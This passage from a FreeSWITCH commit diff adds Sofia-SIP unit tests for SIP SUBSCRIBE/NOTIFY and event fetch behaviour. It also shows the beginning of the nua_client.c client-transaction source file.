+    expires = "0";
+  }
+
+  ta_start(ta, tag, value);
+
+  if (send_notify_before_response) {
+    s2_sip_save_uas_dialog(dialog, subscribe->sip);
+    notify = notify_to_nua(substate,
+			   SIPTAG_EVENT(subscribe->sip->sip_event),
+			   SIPTAG_SUBSCRIPTION_STATE_STR(substate_str),
+			   ta_tags(ta));
+    event = respond_to_subscribe(subscribe, nua_r_subscribe, substate,
+				 SIP_200_OK,
+				 SIPTAG_EXPIRES_STR(expires),
+				 TAG_END());
+    s2_free_event(event);
+  }
+  else {
+    event = respond_to_subscribe(subscribe, nua_r_subscribe, current,
+				 SIP_202_ACCEPTED,
+				 SIPTAG_EXPIRES_STR(expires),
+				 TAG_END());
+    s2_free_event(event);
+    notify = notify_to_nua(substate,
+			   SIPTAG_EVENT(subscribe->sip->sip_event),
+			   SIPTAG_SUBSCRIPTION_STATE_STR(substate_str),
+			   ta_tags(ta));
+  }
+
+  s2_sip_free_message(subscribe);
+
+  return notify;
+}
+
+static void
+unsubscribe_by_nua(nua_handle_t *nh, tag_type_t tag, tag_value_t value, ...)
+{
+  struct message *subscribe, *response;
+  struct event *event;
+
+  nua_unsubscribe(nh, TAG_END());
+  subscribe = s2_sip_wait_for_request(SIP_METHOD_SUBSCRIBE);
+
+  s2_sip_respond_to(subscribe, dialog, SIP_200_OK, SIPTAG_EXPIRES_STR("0"), TAG_END());
+
+  event = s2_wait_for_event(nua_r_unsubscribe, 200); fail_if(!event);
+  fail_unless(s2_check_substate(event, nua_substate_active));
+  s2_free_event(event);
+
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_NOTIFY, NULL,
+			SIPTAG_EVENT(subscribe->sip->sip_event),
+			SIPTAG_SUBSCRIPTION_STATE_STR("terminated;reason=tiemout"),
+			SIPTAG_CONTENT_TYPE_STR(event_mime_type),
+			SIPTAG_PAYLOAD_STR(event_state),
+			TAG_END()));
+
+  event = s2_wait_for_event(nua_i_notify, 200); fail_if(!event);
+  fail_unless(s2_check_substate(event, nua_substate_terminated));
+  s2_free_event(event);
+
+  response = s2_sip_wait_for_response(200, SIP_METHOD_NOTIFY);
+  fail_if(!response);
+  s2_sip_free_message(response); s2_sip_free_message(subscribe);
+}
+
+/* ====================================================================== */
+/* 6 - Subscribe/notify */
+
+START_TEST(subscribe_6_1_1)
+{
+  nua_handle_t *nh;
+  struct event *notify;
+  S2_CASE("6.1.1", "Basic subscription",
+	  "NUA sends SUBSCRIBE, waits for NOTIFY, sends un-SUBSCRIBE");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+  nua_subscribe(nh, SIPTAG_EVENT_STR(event_type), TAG_END());
+  notify = subscription_by_nua(nh, nua_substate_embryonic, TAG_END());
+  s2_free_event(notify);
+  unsubscribe_by_nua(nh, TAG_END());
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(subscribe_6_1_2)
+{
+  nua_handle_t *nh;
+  struct message *subscribe, *response;
+  struct event *notify, *event;
+
+  S2_CASE("6.1.2", "Basic subscription with refresh",
+	  "NUA sends SUBSCRIBE, waits for NOTIFY, "
+	  "sends re-SUBSCRIBE, waits for NOTIFY, "
+	  "sends un-SUBSCRIBE");
+
+  send_notify_before_response = 1;
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+  nua_subscribe(nh, SIPTAG_EVENT_STR(event_type), TAG_END());
+  notify = subscription_by_nua(nh, nua_substate_embryonic, TAG_END());
+  s2_free_event(notify);
+
+  /* Wait for refresh */
+  s2_nua_fast_forward(600, s2base->root);
+  subscribe = s2_sip_wait_for_request(SIP_METHOD_SUBSCRIBE);
+  s2_sip_respond_to(subscribe, dialog, SIP_200_OK,
+		SIPTAG_EXPIRES_STR("600"),
+		TAG_END());
+
+  event = s2_wait_for_event(nua_r_subscribe, 200); fail_if(!event);
+  fail_unless(s2_check_substate(event, nua_substate_active));
+  s2_free_event(event);
+
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_NOTIFY, NULL,
+			SIPTAG_EVENT(subscribe->sip->sip_event),
+			SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=600"),
+			SIPTAG_CONTENT_TYPE_STR(event_mime_type),
+			SIPTAG_PAYLOAD_STR(event_state),
+			TAG_END()));
+  event = s2_wait_for_event(nua_i_notify, 200); fail_if(!event);
+  fail_unless(s2_check_substate(event, nua_substate_active));
+  s2_free_event(event);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_NOTIFY);
+  fail_if(!response);
+  s2_sip_free_message(response);
+
+  unsubscribe_by_nua(nh, TAG_END());
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(subscribe_6_1_3)
+{
+  nua_handle_t *nh;
+  struct message *response;
+  struct event *notify, *event;
+
+  S2_CASE("6.1.3", "Subscription terminated by notifier",
+	  "NUA sends SUBSCRIBE, waits for NOTIFY, "
+	  "gets NOTIFY terminating the subscription,");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+  nua_subscribe(nh, SIPTAG_EVENT_STR(event_type), TAG_END());
+  notify = subscription_by_nua(nh, nua_substate_embryonic, TAG_END());
+  s2_free_event(notify);
+
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_NOTIFY, NULL,
+			SIPTAG_EVENT_STR(event_type),
+			SIPTAG_SUBSCRIPTION_STATE_STR("terminated;reason=noresource"),
+			TAG_END()));
+  event = s2_wait_for_event(nua_i_notify, 200); fail_if(!event);
+  fail_unless(s2_check_substate(event, nua_substate_terminated));
+  s2_free_event(event);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_NOTIFY);
+  fail_if(!response);
+  s2_sip_free_message(response);
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(subscribe_6_1_4)
+{
+  nua_handle_t *nh;
+  struct message *response;
+  struct event *notify, *event;
+
+  S2_CASE("6.1.4", "Subscription terminated by notifier, re-established",
+	  "NUA sends SUBSCRIBE, waits for NOTIFY, "
+	  "gets NOTIFY terminating the subscription,");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+  nua_subscribe(nh, SIPTAG_EVENT_STR(event_type), TAG_END());
+  notify = subscription_by_nua(nh, nua_substate_embryonic, TAG_END());
+  s2_free_event(notify);
+
+  fail_if(s2_sip_request_to(dialog, SIP_METHOD_NOTIFY, NULL,
+			SIPTAG_EVENT_STR(event_type),
+			SIPTAG_SUBSCRIPTION_STATE_STR("terminated;reason=deactivated"),
+			TAG_END()));
+  event = s2_wait_for_event(nua_i_notify, 200); fail_if(!event);
+  fail_unless(s2_check_substate(event, nua_substate_embryonic));
+  s2_free_event(event);
+  response = s2_sip_wait_for_response(200, SIP_METHOD_NOTIFY);
+  fail_if(!response);
+  s2_sip_free_message(response);
+
+  su_home_unref((void *)dialog), dialog = su_home_new(sizeof *dialog); fail_if(!dialog);
+
+  s2_nua_fast_forward(5, s2base->root);
+  /* nua re-establishes the subscription */
+  notify = subscription_by_nua(nh, nua_substate_embryonic, TAG_END());
+  s2_free_event(notify);
+
+  /* Unsubscribe with nua_subscribe() Expires: 0 */
+  nua_subscribe(nh, SIPTAG_EVENT_STR(event_type), SIPTAG_EXPIRES_STR("0"), TAG_END());
+  notify = subscription_by_nua(nh, nua_substate_active, TAG_END());
+  s2_free_event(notify);
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+TCase *subscribe_tcase(int threading)
+{
+  TCase *tc = tcase_create("6.1 - Basic SUBSCRIBE_");
+  void (*simple_setup)(void);
+
+  simple_setup = threading ? simple_thread_setup : simple_threadless_setup;
+  tcase_add_checked_fixture(tc, simple_setup, simple_teardown);
+
+  {
+    tcase_add_test(tc, subscribe_6_1_1);
+    tcase_add_test(tc, subscribe_6_1_2);
+    tcase_add_test(tc, subscribe_6_1_3);
+    tcase_add_test(tc, subscribe_6_1_4);
+  }
+  return tc;
+}
+
+START_TEST(fetch_6_2_1)
+{
+  nua_handle_t *nh;
+  struct event *notify;
+
+  S2_CASE("6.2.1", "Event fetch - NOTIFY after 202",
+	  "NUA sends SUBSCRIBE with Expires 0, waits for NOTIFY");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+  nua_subscribe(nh, SIPTAG_EVENT_STR(event_type), SIPTAG_EXPIRES_STR("0"), TAG_END());
+  notify = subscription_by_nua(nh, nua_substate_embryonic, TAG_END());
+  s2_check_substate(notify, nua_substate_terminated);
+  s2_free_event(notify);
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(fetch_6_2_2)
+{
+  nua_handle_t *nh;
+  struct event *notify;
+
+  S2_CASE("6.2.2", "Event fetch - NOTIFY before 200",
+	  "NUA sends SUBSCRIBE with Expires 0, waits for NOTIFY");
+
+  send_notify_before_response = 1;
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+  nua_subscribe(nh, SIPTAG_EVENT_STR(event_type), SIPTAG_EXPIRES_STR("0"), TAG_END());
+  notify = subscription_by_nua(nh, nua_substate_embryonic, TAG_END());
+  s2_check_substate(notify, nua_substate_terminated);
+  s2_free_event(notify);
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(fetch_6_2_3)
+{
+  nua_handle_t *nh;
+  struct message *subscribe;
+  struct event *event;
+
+  S2_CASE("6.2.3", "Event fetch - no NOTIFY",
+	  "NUA sends SUBSCRIBE with Expires 0, waits for NOTIFY, times out");
+
+  nh = nua_handle(nua, NULL, SIPTAG_TO(s2sip->aor), TAG_END());
+  nua_subscribe(nh, SIPTAG_EVENT_STR(event_type), SIPTAG_EXPIRES_STR("0"), TAG_END());
+  subscribe = s2_sip_wait_for_request(SIP_METHOD_SUBSCRIBE);
+  s2_sip_respond_to(subscribe, dialog, SIP_202_ACCEPTED,
+		SIPTAG_EXPIRES_STR("0"), TAG_END());
+  s2_sip_free_message(subscribe);
+
+  event = s2_wait_for_event(nua_r_subscribe, 202); fail_if(!event);
+  fail_unless(s2_check_substate(event, nua_substate_embryonic));
+  s2_free_event(event);
+
+  s2_nua_fast_forward(600, s2base->root);
+
+  event = s2_wait_for_event(nua_i_notify, 408); fail_if(!event);
+  fail_unless(s2_check_substate(event, nua_substate_terminated));
+  s2_free_event(event);
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+
+TCase *fetch_tcase(int threading)
+{
+  TCase *tc = tcase_create("6.2 - Event fetch");
+  void (*simple_setup)(void);
+
+  simple_setup = threading ? simple_thread_setup : simple_threadless_setup;
+  tcase_add_checked_fixture(tc, simple_setup, simple_teardown);
+
+  {
+    tcase_add_test(tc, fetch_6_2_1);
+    tcase_add_test(tc, fetch_6_2_2);
+    tcase_add_test(tc, fetch_6_2_3);
+  }
+  return tc;
+}
+
+nua_handle_t *
+subscribe_to_nua(char const *event,
+		 tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+  struct event *subscribe;
+  struct message *response;
+  nua_handle_t *nh;
+
+  nua_set_params(nua, NUTAG_APPL_METHOD("SUBSCRIBE"),
+		 SIPTAG_ALLOW_EVENTS_STR(event),
+		 TAG_END());
+  fail_unless_event(nua_r_set_params, 200);
+
+  ta_start(ta, tag, value);
+  s2_sip_request_to(dialog, SIP_METHOD_SUBSCRIBE, NULL,
+		SIPTAG_EVENT_STR(event),
+		ta_tags(ta));
+  ta_end(ta);
+
+  subscribe = s2_wait_for_event(nua_i_subscribe, 100);
+  nh = subscribe->nh;
+  nua_respond(nh, SIP_202_ACCEPTED,
+	      NUTAG_WITH_SAVED(subscribe->event),
+	      TAG_END());
+  s2_free_event(subscribe);
+
+  response = s2_sip_wait_for_response(202, SIP_METHOD_SUBSCRIBE);
+  s2_sip_update_dialog(dialog, response);
+  fail_unless(response->sip->sip_expires != NULL);
+  s2_sip_free_message(response);
+
+  return nh;
+}
+
+START_TEST(notify_6_3_1)
+{
+  nua_handle_t *nh;
+  struct event *subscribe;
+  struct message *notify, *response;
+  sip_t *sip;
+
+  S2_CASE("6.3.1", "Basic NOTIFY server",
+	  "NUA receives SUBSCRIBE, sends 202 and NOTIFY. "
+	  "First NOTIFY terminates subscription. ");
+
+  s2_sip_request_to(dialog, SIP_METHOD_SUBSCRIBE, NULL,
+		    SIPTAG_EVENT_STR("presence"),
+		    TAG_END());
+  /* 489 Bad Event by default */
+  s2_sip_check_response(489, SIP_METHOD_SUBSCRIBE);
+
+  nua_set_params(nua, NUTAG_APPL_METHOD("SUBSCRIBE"), TAG_END());
+  fail_unless_event(nua_r_set_params, 200);
+
+  s2_sip_request_to(dialog, SIP_METHOD_SUBSCRIBE, NULL,
+		SIPTAG_EVENT_STR("presence"),
+		TAG_END());
+  s2_sip_check_response(489, SIP_METHOD_SUBSCRIBE);
+
+  nua_set_params(nua, SIPTAG_ALLOW_EVENTS_STR("presence"), TAG_END());
+  fail_unless_event(nua_r_set_params, 200);
+
+  s2_sip_request_to(dialog, SIP_METHOD_SUBSCRIBE, NULL,
+		SIPTAG_EVENT_STR("presence"),
+		TAG_END());
+  subscribe = s2_wait_for_event(nua_i_subscribe, 100);
+  nh = subscribe->nh;
+  nua_respond(nh, SIP_403_FORBIDDEN,
+	      NUTAG_WITH_SAVED(subscribe->event),
+	      TAG_END());
+  s2_free_event(subscribe);
+
+  s2_sip_check_response(403, SIP_METHOD_SUBSCRIBE);
+
+  nua_handle_destroy(nh);
+
+  s2_sip_request_to(dialog, SIP_METHOD_SUBSCRIBE, NULL,
+		SIPTAG_EVENT_STR("presence"),
+		TAG_END());
+  subscribe = s2_wait_for_event(nua_i_subscribe, 100);
+  nh = subscribe->nh;
+  nua_respond(nh, SIP_202_ACCEPTED,
+	      NUTAG_WITH_SAVED(subscribe->event),
+	      TAG_END());
+  s2_free_event(subscribe);
+
+  response = s2_sip_wait_for_response(202, SIP_METHOD_SUBSCRIBE);
+  s2_sip_update_dialog(dialog, response);
+  fail_unless(response->sip->sip_expires != NULL);
+  s2_sip_free_message(response);
+
+  nua_notify(nh,
+	     NUTAG_SUBSTATE(nua_substate_terminated),
+	     SIPTAG_PAYLOAD_STR(presence_closed),
+	     TAG_END());
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless(notify != NULL);
+  sip = notify->sip;
+  fail_unless(sip->sip_subscription_state != NULL);
+  fail_unless(su_strmatch(sip->sip_subscription_state->ss_substate,
+			  "terminated"));
+  s2_sip_respond_to(notify, dialog, SIP_200_OK, TAG_END());
+
+  fail_unless_event(nua_r_notify, 200);
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(notify_6_3_2)
+{
+  nua_handle_t *nh;
+  struct message *notify;
+  sip_t *sip;
+
+  S2_CASE("6.3.2", "NOTIFY server - automatic subscription termination",
+	  "NUA receives SUBSCRIBE, sends 202 and NOTIFY. "
+	  "The subscription terminates with timeout. ");
+
+  nh = subscribe_to_nua("presence", SIPTAG_EXPIRES_STR("300"), TAG_END());
+
+  nua_notify(nh,
+	     NUTAG_SUBSTATE(nua_substate_active),
+	     SIPTAG_PAYLOAD_STR(presence_closed),
+	     TAG_END());
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless(notify != NULL);
+  sip = notify->sip;
+  fail_unless(sip->sip_subscription_state != NULL);
+  fail_unless(su_strmatch(sip->sip_subscription_state->ss_substate,
+			  "active"));
+  s2_sip_respond_to(notify, dialog, SIP_200_OK, TAG_END());
+  fail_unless_event(nua_r_notify, 200);
+
+  s2_nua_fast_forward(300, s2base->root);
+
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless(notify != NULL);
+  sip = notify->sip;
+  fail_unless(sip->sip_subscription_state != NULL);
+  fail_unless(su_strmatch(sip->sip_subscription_state->ss_substate,
+			  "terminated"));
+  s2_sip_respond_to(notify, dialog, SIP_200_OK, TAG_END());
+  fail_unless_event(nua_r_notify, 200);
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+static int
+s2_event_substate(struct event *event)
+{
+  if (event) {
+    tagi_t const *t = tl_find(event->data->e_tags, nutag_substate);
+    if (t)
+      return t->t_value;
+  }
+  return -1;
+}
+
+START_TEST(notify_6_3_3)
+{
+  nua_handle_t *nh;
+  struct message *notify;
+  struct event *response;
+  sip_t *sip;
+
+  S2_CASE("6.3.3", "NOTIFY server - terminate with error response to NOTIFY",
+	  "NUA receives SUBSCRIBE, sends 202 and NOTIFY. "
+	  "The subscription terminates when watcher "
+	  "returns 481 to second NOTIFY.");
+
+  nh = subscribe_to_nua("presence", SIPTAG_EXPIRES_STR("300"), TAG_END());
+
+  nua_notify(nh,
+	     NUTAG_SUBSTATE(nua_substate_active),
+	     SIPTAG_PAYLOAD_STR(presence_closed),
+	     TAG_END());
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless(notify != NULL);
+  sip = notify->sip;
+  fail_unless(sip->sip_subscription_state != NULL);
+  fail_unless(su_strmatch(sip->sip_subscription_state->ss_substate,
+			  "active"));
+  s2_sip_respond_to(notify, dialog, SIP_200_OK, TAG_END());
+  fail_unless_event(nua_r_notify, 200);
+
+  nua_notify(nh,
+	     NUTAG_SUBSTATE(nua_substate_active),
+	     SIPTAG_PAYLOAD_STR(presence_closed),
+	     TAG_END());
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless(notify != NULL);
+  sip = notify->sip;
+  fail_unless(sip->sip_subscription_state != NULL);
+  fail_unless(su_strmatch(sip->sip_subscription_state->ss_substate,
+			  "active"));
+  s2_sip_respond_to(notify, dialog, SIP_481_NO_TRANSACTION, TAG_END());
+  response = s2_wait_for_event(nua_r_notify, 481);
+  fail_unless(s2_event_substate(response) == nua_substate_terminated);
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(notify_6_3_4)
+{
+  nua_handle_t *nh;
+  struct message *notify;
+  struct event *response;
+  sip_t *sip;
+
+  S2_CASE("6.3.4", "NOTIFY server - terminate with error response to NOTIFY",
+	  "NUA receives SUBSCRIBE, sends 202 and NOTIFY. "
+	  "The subscription terminates when watcher "
+	  "returns 481 to second NOTIFY. The queued 3rd NOTIFY gets "
+	  "responded by stack.");
+
+  nh = subscribe_to_nua("presence", SIPTAG_EXPIRES_STR("300"), TAG_END());
+
+  nua_notify(nh,
+	     NUTAG_SUBSTATE(nua_substate_active),
+	     SIPTAG_PAYLOAD_STR(presence_closed),
+	     TAG_END());
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless(notify != NULL);
+  sip = notify->sip;
+  fail_unless(sip->sip_subscription_state != NULL);
+  fail_unless(su_strmatch(sip->sip_subscription_state->ss_substate,
+			  "active"));
+  s2_sip_respond_to(notify, dialog, SIP_200_OK, TAG_END());
+  fail_unless_event(nua_r_notify, 200);
+
+  nua_notify(nh,
+	     NUTAG_SUBSTATE(nua_substate_active),
+	     SIPTAG_PAYLOAD_STR(presence_open),
+	     TAG_END());
+  nua_notify(nh,
+	     NUTAG_SUBSTATE(nua_substate_active),
+	     SIPTAG_PAYLOAD_STR(presence_closed),
+	     TAG_END());
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless(notify != NULL);
+  sip = notify->sip;
+  fail_unless(sip->sip_subscription_state != NULL);
+  fail_unless(su_strmatch(sip->sip_subscription_state->ss_substate,
+			  "active"));
+  s2_sip_respond_to(notify, dialog, SIP_481_NO_TRANSACTION, TAG_END());
+  response = s2_wait_for_event(nua_r_notify, 481);
+  fail_unless(s2_event_substate(response) == nua_substate_terminated);
+  response = s2_wait_for_event(nua_r_notify, 481);
+  fail_unless(s2_event_substate(response) == nua_substate_terminated);
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+START_TEST(notify_6_3_5)
+{
+  nua_handle_t *nh;
+  struct message *notify;
+  struct event *response;
+  sip_t *sip;
+
+  S2_CASE("6.3.4", "NOTIFY server - terminate with error response to NOTIFY",
+	  "NUA receives SUBSCRIBE, sends 202 and NOTIFY. "
+	  "The subscription terminates when watcher "
+	  "returns 481 to NOTIFY.");
+
+  nh = subscribe_to_nua("presence", SIPTAG_EXPIRES_STR("300"), TAG_END());
+
+  nua_notify(nh,
+	     SIPTAG_SUBSCRIPTION_STATE_STR("active"),
+	     SIPTAG_PAYLOAD_STR(presence_closed),
+	     TAG_END());
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless(notify != NULL);
+  sip = notify->sip;
+  fail_unless(sip->sip_subscription_state != NULL);
+  fail_unless(su_strmatch(sip->sip_subscription_state->ss_substate,
+			  "active"));
+  s2_sip_respond_to(notify, dialog, SIP_200_OK, TAG_END());
+  fail_unless_event(nua_r_notify, 200);
+
+  nua_notify(nh,
+	     SIPTAG_SUBSCRIPTION_STATE_STR("active"),
+	     SIPTAG_PAYLOAD_STR(presence_open),
+	     TAG_END());
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  fail_unless(notify != NULL);
+  sip = notify->sip;
+  fail_unless(sip->sip_subscription_state != NULL);
+  fail_unless(su_strmatch(sip->sip_subscription_state->ss_substate,
+			  "active"));
+
+  nua_notify(nh,
+	     NUTAG_NEWSUB(1),
+	     SIPTAG_SUBSCRIPTION_STATE_STR("active"),
+	     SIPTAG_PAYLOAD_STR(presence_open),
+	     TAG_END());
+
+  s2_sip_respond_to(notify, dialog, SIP_481_NO_TRANSACTION, TAG_END());
+  response = s2_wait_for_event(nua_r_notify, 481);
+  fail_unless(s2_event_substate(response) == nua_substate_terminated);
+
+  notify = s2_sip_wait_for_request(SIP_METHOD_NOTIFY);
+  s2_sip_respond_to(notify, dialog, SIP_481_NO_TRANSACTION, TAG_END());
+  response = s2_wait_for_event(nua_r_notify, 481);
+  fail_unless(s2_event_substate(response) == nua_substate_terminated);
+
+  nua_handle_destroy(nh);
+}
+END_TEST
+
+TCase *notifier_tcase(int threading)
+{
+  TCase *tc = tcase_create("6.3 - Basic event server with NOTIFY ");
+  void (*simple_setup)(void);
+
+  simple_setup = threading ? simple_thread_setup : simple_threadless_setup;
+  tcase_add_checked_fixture(tc, simple_setup, simple_teardown);
+
+  {
+    tcase_add_test(tc, notify_6_3_1);
+    tcase_add_test(tc, notify_6_3_2);
+    tcase_add_test(tc, notify_6_3_3);
+    tcase_add_test(tc, notify_6_3_4);
+    tcase_add_test(tc, notify_6_3_5);
+  }
+  return tc;
+}
+
+/* ====================================================================== */
+
+/* Test case template */
+
+START_TEST(empty)
+{
+  S2_CASE("0.0.0", "Empty test case",
+	  "Detailed explanation for empty test case.");
+
+  tport_set_params(s2sip->master, TPTAG_LOG(1), TAG_END());
+  s2_setup_logs(7);
+  s2_setup_logs(0);
+  tport_set_params(s2sip->master, TPTAG_LOG(0), TAG_END());
+}
+
+END_TEST
+
+static TCase *empty_tcase(int threading)
+{
+  TCase *tc = tcase_create("0 - Empty");
+  void (*simple_setup)(void);
+
+  simple_setup = threading ? simple_thread_setup : simple_threadless_setup;
+  tcase_add_checked_fixture(tc, simple_setup, simple_teardown);
+
+  tcase_add_test(tc, empty);
+
+  return tc;
+}
+
+/* ====================================================================== */
+
+void check_simple_cases(Suite *suite, int threading)
+{
+  suite_add_tcase(suite, subscribe_tcase(threading));
+  suite_add_tcase(suite, fetch_tcase(threading));
+  suite_add_tcase(suite, notifier_tcase(threading));
+
+  if (0)			/* Template */
+    suite_add_tcase(suite, empty_tcase(threading));
+}
+

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_client.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nua/nua_client.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_client.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_client.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1625 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2006 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE nua_client.c
+ * @brief Client transaction handling
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @date Created: Tue Feb  3 16:10:45 EET 2009
+ */
+
+#include "config.h"
+
+#include <stddef.h>
+#include <stdlib.h>
+#include <string.h>
+#include <limits.h>
+
+#include <assert.h>
+
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_tag_inline.h>
+
+#include <sofia-sip/sip_util.h>
+#include <sofia-sip/sip_protos.h>
+#include <sofia-sip/sip_status.h>
+
+#define SU_MSG_ARG_T   struct nua_ee_data
+#define SU_TIMER_ARG_T struct nua_client_request
+
+#define NUA_SAVED_EVENT_T su_msg_t *
+#define NUA_SAVED_SIGNAL_T su_msg_t *
+
+#define NTA_AGENT_MAGIC_T    struct nua_s
+#define NTA_LEG_MAGIC_T      struct nua_handle_s
+#define NTA_OUTGOING_MAGIC_T struct nua_client_request
+
+#include "nua_stack.h"
+#include "nua_dialog.h"
+#include "nua_client.h"
+
+#include <sofia-sip/su_wait.h>
+
+su_inline int can_redirect(sip_contact_t const *m, sip_method_t method);
+
+/**@internal
+ *
+ * @class nua_client_request
+ *
+ * Each handle has a queue of client-side requests; if a request is pending,
+ * a new request from API is added to the queue. After the request is
+ * complete, it is removed from the queue and destroyed by the default. The
+ * exception is the client requests bound to a dialog usage: they are saved
+ * and re-used when the dialog usage is refreshed (and sometimes when the
+ * usage is terminated).
+ *
+ * The client request is subclassed and its behaviour modified using virtual
+ * function table in #nua_client_methods_t.
+ *
+ * The first three methods (crm_template(), crm_init(), crm_send()) are
+ * called when the request is sent first time.
+ *
+ * The crm_template() is called if a template request message is needed (for
+ * example, in case of unregister, unsubscribe and unpublish, the template
+ * message is taken from the request establishing the usage).
+ *
+ * The crm_init() is called when the template message and dialog leg has
+ * been created and populated by the tags procided by the application. Its
+ * parameters msg and sip are pointer to the template request message that
+ * is saved in the nua_client_request::cr_msg field.
+ *
+ * The crm_send() is called with a copy of the template message that has
+ * been populated with all the fields included in the request, including
+ * @CSeq and @MaxForwards. The crm_send() function, such as
+ * nua_publish_client_request(), usually calls nua_base_client_trequest() that
+ * then creates the nta-level transaction.
+ *
+ * The response to the request is processed by crm_check_restart(), which
+ * modifies and restarts the request when needed (e.g., when negotiating
+ * expiration time). After the request has been suitably modified, e.g., the
+ * expiration time has been increased, the restart function calls
+ * nua_client_restart(), which restarts the request and relays the
+ * intermediate response to the application with nua_client_restart() and
+ * crm_report().
+ *
+ * The final responses are processed by crm_recv() and and preliminary ones
+ * by crm_preliminary(). All virtual functions should call
+ * nua_base_client_response() beside method-specific processing.
+ *
+ * The nua_base_client_response() relays the response to the application with
+ * nua_client_restart() and crm_report().
+ *
+ * @par Terminating Dialog Usages and Dialogs
+ *
+ * The response is marked as terminating with nua_client_set_terminating().
+ * When a terminating request completes the dialog usage is removed and the
+ * dialog is destroyed (unless there is an another active usage).
+ */
+static void nua_client_request_destroy(nua_client_request_t *cr);
+static int nua_client_init_request0(nua_client_request_t *cr);
+static int nua_client_request_try(nua_client_request_t *cr);
+static int nua_client_request_sendmsg(nua_client_request_t *cr);
+static void nua_client_restart_after(su_root_magic_t *magic,
+				     su_timer_t *timer,
+				     nua_client_request_t *cr);
+
+/**Create a client request.
+ *
+ * @retval 0 if request is pending
+ * @retval > 0 if error event has been sent
+ * @retval < 0 upon an error
+ */
+int nua_client_create(nua_handle_t *nh,
+		      int event,
+		      nua_client_methods_t const *methods,
+		      tagi_t const * const tags)
+{
+  su_home_t *home = nh->nh_home;
+  nua_client_request_t *cr;
+  sip_method_t method;
+  char const *name;
+
+  method = methods->crm_method, name = methods->crm_method_name;
+  if (!name) {
+    tagi_t const *t = tl_find_last(tags, nutag_method);
+    if (t)
+      name = (char const *)t->t_value;
+  }
+
+  cr = su_zalloc(home, sizeof *cr + methods->crm_extra);
+  if (!cr) {
+    return nua_stack_event(nh->nh_nua, nh,
+			   NULL,
+			   (enum nua_event_e)event,
+			   NUA_ERROR_AT(__FILE__, __LINE__),
+			   NULL);
+  }
+
+  cr->cr_methods = methods;
+  cr->cr_event = event;
+  cr->cr_method = method;
+  cr->cr_method_name = name;
+  cr->cr_contactize = methods->crm_flags.target_refresh;
+  cr->cr_dialog = methods->crm_flags.create_dialog;
+  cr->cr_auto = 1;
+
+  if (su_msg_is_non_null(nh->nh_nua->nua_signal)) {
+    nua_event_data_t *e = su_msg_data(nh->nh_nua->nua_signal)->ee_data;
+
+    if (tags == e->e_tags && event == e->e_event) {
+      cr->cr_auto = 0;
+
+      if (tags) {
+	nua_move_signal(cr->cr_signal, nh->nh_nua->nua_signal);
+	if (cr->cr_signal) {
+	  /* Steal reference from signal */
+	  cr->cr_owner = e->e_nh, e->e_nh = NULL;
+	  cr->cr_tags = tags;
+	}
+      }
+    }
+  }
+
+  if (cr->cr_owner == NULL)
+    cr->cr_owner = nua_handle_ref(nh);
+
